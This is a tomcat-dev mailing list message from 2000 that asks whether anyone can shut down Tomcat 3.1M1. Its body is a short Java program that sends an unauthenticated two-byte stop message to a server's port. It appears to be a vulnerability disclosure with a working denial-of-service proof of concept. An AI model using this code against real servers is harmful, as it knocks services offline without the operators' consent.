tomcat-dev mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From Gary Yang <yga...@yahoo.com>
Subject Anybody can shutdown Tomcat 3.1M1?
Date Thu, 24 Feb 2000 03:08:37 GMT
import java.net.*;
import java.io.*;

public class stop {
        public static void main(String args[]) {
                try {
                    Socket socket = new Socket(args[0],
Integer.valueOf(args[1]).intValue());
                    OutputStream os=socket.getOutputStream();
                    byte stopMessage[]=new byte[2];
                    stopMessage[0]=(byte)254;
                    stopMessage[1]=(byte)15;
                    os.write( stopMessage );
                    socket.close();
                } catch(Exception ex ) {
                    ex.printStackTrace();
                }
        }

}



Mime
View raw message